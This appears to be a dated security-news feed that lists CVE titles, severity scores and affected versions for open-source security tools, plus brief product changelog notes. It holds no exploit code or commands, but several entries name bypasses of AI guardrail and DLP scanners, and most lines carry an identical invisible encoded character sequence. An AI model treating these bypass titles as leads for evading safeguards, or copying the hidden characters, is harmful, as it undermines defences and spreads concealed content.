Secrets Detection & Management · 2026-11-02

• CVE-2026-55776: OpenBao crashes on Transit engine key creation with derived=true for RSA key types (CVSS 6.5, affects <=2.5.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-55774: Cross-namespace lease revocation via lease ID in path bypasses ACL (affects <=2.5.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-55770: LDAPi ldaputil (wrong escape func) (CVSS 6.8, affects <=2.5.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-46405: OpenBao's Kerberos Auth Method Accumulates Unaccessible Tokens (CVSS 5.3, affects <=2.5.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-46358: OpenBao's Inline Auth Incorrectly Redacted Headers (affects <=2.5.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Detection Engineering · 2026-11-02

• CVE-2026-16551: Denial-of-Service in MongoDB module (affects 0.9.8)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Detection Engineering · 2026-11-02

• CVE-2024-48911: OpenCanary Executes Commands From Potentially Writable Config File (CVSS 7.8, affects < 0.9.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-104258: SSRF via webhook notifier allows authenticated users to reach internal services (CVSS 5.5, affects <= 7.260722.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-114505: Acceptance of GraphQL Operations via HTTP GET Method (affects < 7.260722.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-104253: Profile page reflects MFA secret in response (CVSS 5.2, affects < 7.260715.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-63477: Organization administrator can escalate to global administrator via unvalidated grantable_groups write (incomplete fix of CVE-2026-44730) (CVSS 8.8, affects < 7.260624.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-76823: Elasticsearch credentials disclosed to connector tokens through logsWorkerConfig (affects < 7.260706.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-76822: Authorisation vulnerability in case creation (CVSS 4.3, affects < 7.260701.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-76820: Synchronizer SSRF: stream fetch has no URL validation (CVSS 7.7, affects < 7.260701.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-76821: User-Controlled ReDoS in JSON Ingestion Mapper (affects < 7.260706.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-104840: No rate limiting on authentication endpoint allows credential brute-forcing (affects < 7.260428.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-102892: TAXII Public Collection Incorrect Authorization & Data Leak (CVSS 5.3, affects < 7.260416.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-35211: Elasticsearch Painless Script Injection via GraphQL script filter operator allows authenticated user to exfiltrate data and cause DoS (CVSS 6.5, affects < 7.260401.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-35210: Authorization Bypass via synchronized-upsert HTTP Header Injection (CVSS 7.1, affects < 7.260326.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-35212: XSS in the rendering of email-message observable body data (CVSS 6.1, affects < 7.260227.0 )⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-44730: Privilege escalation via graphQL API abusable by organization admins, due to incorrect ACL on userEdit relationAdd (CVSS 7.2, affects < 6.9.7)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-27960: Priviledge escalation and unauthenticated access using default admin (CVSS 9.8, affects >= 6.6.0, < 6.9.13)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-39980: RCE via notifier template (CVSS 9.1, affects < 6.9.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-21886: GraphQL Mutations Allow Deletion of Unrelated Entities (CVSS 6.5, affects < 6.9.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-21887: Semi-Blind SSRF via Unvalidated External URL in Data Ingestion Feature (CVSS 7.7, affects < 6.8.16)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2025-61782: Open Redirect in OpenCTI's SAML Authentication Flow (CVSS 5.4, affects < 6.8.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2025-61781: GraphQL IDOR allows authenticated user to delete workspace content of other users (CVSS 7.1, affects < 6.8.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2025-26621: Denial of Service through web hook (CVSS 7.6, affects < 6.5.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Vulnerability & Exposure Management · 2026-11-02

• CVE-2026-92764: Organization API ignores org-scoped token on /api/organizations (CVSS 4.3, affects ≥ 2.4.0, < 3.1.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Vulnerability & Exposure Management · 2026-11-02

• CVE-2026-62282: Server-Side Request Forgery (SSRF) in notifications (CVSS 6.5, affects < 3.0.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-61709: OpenFGA Improper Policy Enforcement (CVSS 5.3, affects <= 1.18.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2023-43645: DoS from circular relationship definitions (CVSS 5.9, affects <1.3.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reconnaissance & OSINT · 2026-11-02

• CVE-2026-86045: Unauthenticated setup endpoint lets network attackers hijack OpenOSINT AI backend traffic (CVSS 10.0, affects <= 2.23.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Public Key Infrastructure (PKI) · 2026-11-02

• CVE-2023-5992: Side-channel leaks while removing encryption RSA PKCS#1 v1.5 padding in OpenSC (CVSS 5.9, affects 0.24.0 and before)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Code Security · 2026-11-02

opentaint adds model support to the analyzer and now includes built-in Go models alongside the existing Java models⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• opentaint's analyzer now supports models (formerly called approximations), enabling taint-flow modelling at analysis time.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• opentaint adds built-in Go models, extending taint analysis to Go codebases.

Endpoint Security (EDR/XDR) · 2026-11-02

• CVE-2026-28280: Stored Cross-Site Scripting (XSS) in On-Demand Query List (CVSS 6.1, affects < 0.5.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Security (EDR/XDR) · 2026-11-02

• CVE-2026-28279: OS Command Injection via Environment Configuration in osctrl-admin (CVSS 7.3, affects < 0.5.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reconnaissance & OSINT · 2026-11-02

• CVE-2024-51735: Stored XSS to RCE on Osmedeus Web Server (affects <= 4.6.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Post-Exploitation · 2026-11-02

• CVE-2026-50558: Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive (CVSS 5.9, affects < 0.19.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI Runtime Defense & Guardrails · 2026-11-02

• CVE-2026-91179: hostile-model preset: shell-profile destination-write bypass via MCP move_file (equivalent-operation coverage gap) (affects <= 3.5.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI Runtime Defense & Guardrails · 2026-11-02

• CVE-2026-91180: Pipelock media policy bypass through mismatched response content types (CVSS 5.3, affects >= 2.2.0, < 3.5.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI Runtime Defense & Guardrails · 2026-11-02

• CVE-2026-91178: URL DLP Scanner Bypass via Path-Query Secret Splitting (CVSS 5.8, affects < 3.4.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI Runtime Defense & Guardrails · 2026-11-02

• CVE-2026-92145: Hot-reload can silently retain stale security config under burst edits (affects < 2.6.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Cloud Security Posture · 2026-11-02

• CVE-2026-73262: Stored XSS in HTML reports through unescaped cloud resource tags (CVSS 5.4, affects <= 5.36.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Cloud Security Posture · 2026-11-02

• CVE-2026-73263: RCE on Prowler App workers via kubeconfig auth-provider cmd-path (CVSS 9.9, affects < 5.36.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Cloud Security Posture · 2026-11-02

• CVE-2026-73264: Server-Side Request Forgery (SSRF) in Lighthouse Provider (CVSS 7.6, affects <=5.33.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Cloud Security Posture · 2026-11-02

• CVE-2026-59151: SAML Domain Claiming Enables Cross-Tenant Account Takeover (CVSS 9.6, affects <= 5.30.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2025-27413: Arbitrary File Write to RCE using Path Traversal in template update from backup templates.json (CVSS 6.5, affects <1.2.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2025-23044: Cross-Site Request Forgery (CSRF) allows creating admin account with POST request (CVSS 6.8, affects latest)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2024-55652: Server-Side Template Injection - Sandbox Escape to RCE using custom filters (CVSS 6.5, affects <1.0.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2024-55653: UnhandledPromiseRejection on audits causes Denial of Service (DoS) (CVSS 6.5, affects =< 0.5.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2026-108387: Remote code execution when loading Pebble/SMD binary (affects < 6.2.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2026-81885: Infinite relocation-chain loop causes denial of service in radare2 NE parser (CVSS 5.5, affects <6.1.9)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2026-81886: Uncontrolled memory allocation in radare2 dmp64 parser (CVSS 5.5, affects <6.1.9)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2026-81879: Heap out-of-bounds read in radare2 ELF PN_XNUM handling (CVSS 5.5, affects <6.1.9)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2020-15121: Command injection during opening PE file with malformed debug symbol information (PDB) - idpd command (CVSS 9.6, affects <4.5.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-40584: RansomLook - Improper Filtering of Private Location Entries in API Endpoints Leads to Information Exposure (CVSS 7.5, affects < 1.9.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reconnaissance & OSINT · 2026-11-02

• CVE-2023-46117: Inadequate validation of retrieved subdomains may lead to a Remote Code Execution (RCE) (CVSS 9.6, affects < v2.7.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI-Powered Offensive Security · 2026-11-02

• CVE-2026-103015: Unauthenticated remote code execution via exposed Kali MCP tool servers (CVSS 9.8, affects < 5.3.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2026-22780: Heap overflow on mach0_chained_fixups.c (CVSS 4.4, affects < 0.8.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2024-53256: Command injection via RzBinInfo bclass due legacy code (CVSS 7.3, affects < 0.7.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2023-40022: Integer Overflow in C++ demangler logic (CVSS 7.3, affects <=0.6.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2023-27590: Stack-based buffer overflow when parsing GDB registers profile files (CVSS 7.8, affects <=v0.5.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2022-36043: Double Free in bobj.c when using QNX binary plugin (CVSS 7.8, affects <=0.4.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2022-36040: Out-of-bounds Write in pyc/marshal.c (CVSS 7.8, affects <=0.4.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2021-43814: Heap-based OOB write when parsing dwarf DIE info in Rizin (CVSS 7.8, affects <=0.3.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Detection Engineering · 2026-11-02

rsigma adds rsigma_rule_parse_errors gauge and --strict-rules flag to control rule load behavior on parse failures⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Refuse a rule load where every rule fails to parse with --strict-rules (daemon.engine.strict_rules), exiting with code 2 at startup or keeping current rules on reload, while the new rsigma_rule_parse_errors gauge counts skipped rules in partial-failure loads.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• rsigma's engine eval -e @file.evtx now passes EVTX records to rules in a shape closer to how Windows renders them: GUIDs are lowercase and in braces, unset elements are omitted, consecutive Data elements with the same name become arrays (with a numbered suffix such as LogonGuid_1 for later duplicates), and bool fields with values other than 0 and 1 are integers.

Secrets Detection & Management · 2026-11-02

• CVE-2026-59341: Internal POST endopints leaks sealed-secret plaintext through a template-injection oracle in sealed-secrets (CVSS 4.2, affects <= v0.38.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-02

• CVE-2026-22728: sealed-secrets /v1/rotate can widen sealing scope to cluster-wide via attacker-controlled template annotations (CVSS 4.9, affects sealed-secrets)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2020-27985: Security Onion v2 prior to 2.3.10 has an incorrect sudo configuration (CVSS 7.8, affects < 2.3.10)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reconnaissance & OSINT · 2026-11-02

• CVE-2026-44590: Command Injection via pull_request_target in validate_modified_targets.yml (CVSS 9.3, affects <= v0.16.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Code Security · 2026-11-02

• CVE-2026-26057: Skill-scanner Unsecured Network Binding Vulnerability (CVSS 6.5, affects <= 1.0.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI Red Teaming & Testing · 2026-11-02

SkillSpector adds configurable batch and workflow-deadline limits and now detects writes to agent-memory files and inspects npx commands in JSON MCP configurations⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Control the tool-description comparison batch limit with SKILLSPECTOR_TP4_MAX_BATCHES (default 256) and the workflow deadline with SKILLSPECTOR_MAX_WORKFLOW_SECONDS (default 1,080 seconds), and honor LLM concurrency via SKILLSPECTOR_MAX_LLM_CONCURRENCY.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• SkillSpector now inspects npx commands in JSON MCP configurations and recognizes additional Claude, Cline, and Roo Code credential and configuration filenames.
• SkillSpector now detects writes to known agent-memory files and directories from automatically run test carriers, including raw Windows paths.

Exploitation & C2 · 2026-11-02

• CVE-2026-77622: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder (affects 1.7.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2026-34227: One-Click Remote Access: Insecure CORS & Unauthenticated MCP Interface (CVSS 8.8, affects <= v1.7.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2026-32941: Authenticated OOM via Memory Exhaustion in mTLS/WireGuard Transports (CVSS 6.5, affects <= v1.7.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2026-29781: CWE-476: Authenticated Nil-Pointer Dereference in Handlers (CVSS 6.5, affects <= v1.7.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2026-25791: DNS C2 OTP Bypass Allows Unauthenticated Session Flooding and Denial of Service (CVSS 7.5, affects 1.6.11)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2026-25760: Website Path Traversal / Arbitrary File Read (Authenticated) in Sliver (CVSS 6.5, affects 1.6.10)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2025-27093: Unrestricted traffic between Wireguard clients.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ (CVSS 6.3, affects <= 1.5.43)

Exploitation & C2 · 2026-11-02

• CVE-2025-27090: SSRF in sliver teamserver v1.5.42/85b0e870d05ec47184958dbcb871ddee2eb9e3df (CVSS 5.3, affects v1.5.26 to v1.5.42)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2024-41111: Authenticated Operator-to-Server RCE (CVSS 7.2, affects 1.6.0-dev)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2023-35170: MitM attack against implants due to a cryptographic vulnerability (CVSS 8.1, affects 1.5.0 - 1.5.39)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Security (EDR/XDR) · 2026-11-02

Sophos Central adds AI agent and non-human identity visibility in Entra, endpoint policy status, and phishing protection in Protected Browser⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Sophos ITDR now surfaces AI agents, blueprints, and apps created by Microsoft Entra — including ownership and sponsorship — under Non-Human Identities in the Directory.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• See the application status for each policy on the Policies tab of an endpoint's details page, including confirmation that updated policies (such as exclusions) have been applied.
• Protected Browser now adds Phishing Protection to guard organizational credentials, direct DNS Protection independent of endpoint or network policies, a new MSI installer for Windows deployment, and more flexible data boundary controls.

Endpoint Management (UEM/RMM) · 2026-11-02

Sophos Mobile adds Android Enterprise controls for assist content sharing and kiosk Home button, plus EAS proxy version visibility.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Restrict assist content sharing with privileged apps (such as Google Assistant) by enabling the 'Allow assist content sharing with privileged apps' setting in the Restrictions configuration of Android Enterprise device and work profile policies.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Control kiosk navigation by enabling the Allow Home button setting in the Kiosk mode configuration of Android Enterprise device policies, letting users return to a custom launcher from the allowed-apps list.
• View the EAS proxy version on the EAS proxy tab of the Sophos setup page when troubleshooting EAS proxy issues.

Non-Human & Agent Identity · 2026-11-02

• CVE-2021-44716: Unbounded memory usage on exposed HTTP/2 (non-gRPC) endpoints (CVSS 7.5, affects Before 1.0.3 and 1.1.x before 1.1.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Non-Human & Agent Identity · 2026-11-02

• CVE-2021-27099: Path Normalization issue in aws_iid Node Attestor (CVSS 6.8, affects <0.8.4, <0.9.4, <0.10.2, <0.11.3, <0.12.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Non-Human & Agent Identity · 2026-11-02

• CVE-2021-27098: Legacy Node API Allows Impersonation (CVSS 8.1, affects 0.8.1-0.8.4, <0.9.4, <0.10.2, <0.11.3, <0.12.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Public Key Infrastructure (PKI) · 2026-11-02

• CVE-2026-30836: Authorization bypass in SCEP provisioner (CVSS 10.0, affects < v0.30.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Public Key Infrastructure (PKI) · 2026-11-02

• CVE-2025-66406: Improper Authorization Check for SSH Certificate Revocation (CVSS 5.0, affects <= v0.28.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

Sumo Logic adds CTI enrichment actions for ZeroFox V2, Case Management actions for CrowdStrike Falcon, and user metrics dashboards for GitHub Copilot⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Sumo Logic's GitHub Copilot app (v1.0.1) now adds user metrics dashboards and reflects the updated data schema.

IDS / IPS · 2026-11-02

• CVE-2026-94084: detect/http2: header inspection can trigger a use-after-free (CVSS 9.1, affects >= 8.0.4, < 8.0.7)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

IDS / IPS · 2026-11-02

• CVE-2026-94083: DoH2: upgrade from HTTP2 to DoH2 can cause a type-confused free (CVSS 9.1, affects >= 8.0.0, < 8.0.7)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2026-33481: Syft improper temporary file cleanup (CVSS 5.3, affects < v1.42.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2023-24827: Credential disclosure in syft when SYFT_ATTEST_PASSWORD environment variable set (CVSS 6.5, affects >= v0.69.0 && < v0.70.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-81182: Unauthorized file disclosure by broken access control in writable shared notes (CVSS 4.2, affects <=2026.61)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-81180: Authenticated RCE by insecure image processing (CVSS 8.8, affects <=2026.55)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-81179: Host header injection might allow account takeover (CVSS 8.1, affects <=2026.55)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-42291: Read-write access to personal notes by sharing-link creation with no authorization in SysReptor Professional (CVSS 6.8, affects >=2026.4;<2026.27)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2025-66561: Authenticated Stored Cross-Site Scripting (XSS) (CVSS 7.3, affects <=2025.96)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2025-59945: Privilege Escalation by Authenticated Users (CVSS 8.1, affects 2024.74-2025.81)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2024-36076: Cross-Site Websocket Hijacking in SysReptor (CVSS 6.8, affects >= 2024.28 <= 2024.30)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Vulnerability & Exposure Management · 2026-11-02

syzkaller adds binder generic netlink report descriptions and replaces the executor cover filter region table with a hash table⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• syzkaller's aflow package now separates impact analysis from root cause analysis.

Secure Access (VPN / SASE / ZTNA) · 2026-11-02

• CVE-2023-28436: Non-interactive Tailscale SSH sessions on FreeBSD may use the effective group ID of the tailscaled process (CVSS 5.7, affects >=1.34.0, <1.38.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secure Access (VPN / SASE / ZTNA) · 2026-11-02

• CVE-2022-41924: Tailscale Windows daemon is vulnerable to RCE via CSRF (CVSS 9.6, affects <1.32.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

